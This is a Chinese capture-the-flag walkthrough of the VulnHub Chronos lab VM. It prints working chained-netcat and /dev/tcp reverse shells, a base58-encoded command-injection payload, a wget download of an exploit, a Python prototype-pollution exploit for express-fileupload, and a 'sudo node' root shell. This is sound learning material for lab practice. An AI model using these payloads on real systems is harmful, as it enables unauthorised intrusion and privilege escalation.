南城夕雾
- 关注

靶机下载地址: https://www.vulnhub.com/entry/chronos-1,735/
nmap 192.168.26.0/24
首先nmap扫一下靶机的ip,发现靶机80端口开放了http服务吗,尝试进行访问
发现好像是一张图片,习惯性的右键查看页面源代码,发现一行可疑的代码
由于上图中的代码不便于观察,所以我们复制这行代码到cyberchef这个在线网站进行一下格式的优化,在线网站的链接:https://icyberchef.com 首先我们在左侧输入beautify 将Javascript beautify 模块拖到中间一栏,也就是应用该模块对我们输入的JS代码进行格式处理和优化,优化完我们发现了一个可疑的url链接。
由于这台靶机的名字就叫chronos 所以我们尝试修改本地的hosts文件,将192.168.26.4这个靶机的ip地址和chronos.local这个名字对应起来,这样我们访问的时侯就可以正确解析了。
当我们修改完后,再次访问8000端口的时候,发现页面发生了变化,如下图所示,与之前相比这次回显了当前的时间,所以我猜测可能是在访问这个页面的时候,服务器执行了获取当前时间的命令,并返回到了当前的页面,所以我打算使用burp抓包看看能不能通过修改请求包的参数,来影响服务器端执行的命令,如果可以那么我们可以尝试替换成反弹shell的命令。
我们通过burp抓访问这个页面的包的时候又看见了之前发现的那个可疑的url,所以我怀疑format参数传递的值可能与服务器执行的命令有关,所以我尝试修改了format参数的值发现页面不能正常回显这个当前时间,这就更加的印证了我的猜测。所以我们尝试format参数的值进行解密
所以我们尝试对format参数的值进行解密,这里还是用到了我们前面介绍过的cyberchef网站
这次我们使用的是magic模块,该模块会自动探测加密的模式并进行解密,我们发现format参数的值是经过base58加密后的,解密后是'+Today is %A, %B %d, %Y %H:%M:%S.' 这个解密的结果看起来应该是data命令后面跟的参数,所以我们尝试本地测试在kali上执行data命令后边跟这个解密的结果,看看是不是这种情况。
所以到这里我的思路就比较明确了,就是尝试修改这个参数,然后让靶机服务器来执行我们构造的反弹shell的命令以此getshell,经过尝试发现该靶机上的nc不带-e参数,所以我们需要用到nc串联的方法来getshell。
nc -lnvp 4444 #在kali上监听4444端口
nc -lnvp 5555 #kali再开一个新的终端,监听5555端口
&& nc 192.168.26.10 4444 | /bin/bash | nc 192.168.26.10 5555 #然后我们进行base58加密
5ZVKfX87AfR5CZTt3AXWLeCDPELKpa8J3tYTiGTkaTZZbkPRQGxKjBVi7NM2ZJL9qymmYEGsZ51nMS #base58加密后
直接burp抓包将format参数的值替换掉然后放包即可,然后我们就可以发现kali上成功获取到了会话
nc串联用法举例
有很多服务器的nc版本没有 -e这个参数,这样一来我们就无法使用以下命令来反弹shell
nc IP -e /bin/bash
解决办法就是通过管道符来实现nc的串联来反弹shell,命令如下:
nc -lvnp 3333 #kali上监听3333端口
nc -lvnp 4444 #kali再开一个新的终端,监听4444端口
nc 10.0.2.7 3333| /bin/bash | nc 10.0.2.7 4444
上面这条命令啊,就是说 我们先通过3333端口与kali建立一个会话,在这个会话输入的命令会交给靶机上的/bin/bash 程序解析,解析完会将结果输出给 kali的4444这个端口的会话,从而实现如下图所示的效果,我们可以在左侧输入命令,而结果会在右侧回显出来。
然后我们通过查看文件的源码发现这是一个node.js作为后端的网站,然后我尝试了内核漏洞提权,suid,sudo,第三方等等提权方式均失败,于是我就开始搜索针对node.js模块存在的一些漏洞,翻了一些js文件后,在/opt/chronos-v2/backend目录下发现chronos-v2版本的app应用了express-fileupload模块 ,但是为什么我们在扫描的时候没有发现这个app呢,经过阅读经过这个后端代码我发现这个app仅对其本机开放,所以当时在扫描的时候没有发现,经过内外网的所有该模块存在漏洞,并且可用于提权,具体漏洞产生的原因可以看外网的这两篇文章
https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/
https://blog.p6.is/Real-World-JS-1/
第二篇文章中给出了一个python版本的漏洞利用脚本,我们在kali上开启临时的http服务,并且在kali上监听8888端口然后通过我们获得的shell,在靶机上执行该脚本,然后我们可以看到8888端口反弹回来了用户imera的shell
python3 -m http.server 80 #在kali上开启临时的http服务
nc -lvnp 8888 #在kali上监听8888端口
wget http://192.168.26.5/exp.py #在靶机上通过wget命令将exp.py文件下载到本地
python3 exp.py #执行
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.26.5/8888 0>&1"' #kali的ip以及监听端口
# 污染
requests.post( 'http://127.0.0.1:8080' , files = { '__proto__.outputFunctionName' : (
无 , f"x;console.log(1);process.mainModule.require('child_process').exec(' {cmd} ');x" )})
# 执行命令
requests.get( 'http://127.0.0.1:8080' )
然后我们通过下面这条命令发现我们可以不用密码就能以root权限去执行node命令
sudo -l
我们知道node是一个类似于java的这样一个开发环境,所以我们尝试用node编写一个反弹shell的脚本,然后利用node命令来提权,经过一番搜索我发现了一个node编写的弹shell的脚本,这样我们就可以获得一个root权限的shell
sudo node -e 'child_process.spawn( "/bin/bash",{stdio: [0,1,2]})'
如上图所示我们已经成功提升至root权限,到这里这台靶机的渗透过程就算结束了。
总结:这个靶机的难点就是提权,之前不了解node.js 的相关漏洞,所以在这一块花费了很长的时间来理解和学习node.js原型污染漏洞的原理和利用方法,之后成功执行python的提权脚本后,发现获得的是一个普通用户权限,所以再次信息搜集发现可以利用node命令来提权,最终也是获得了root权限,总的来说通过对这台靶机的渗透还是学到了很多新的知识,收获颇丰。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
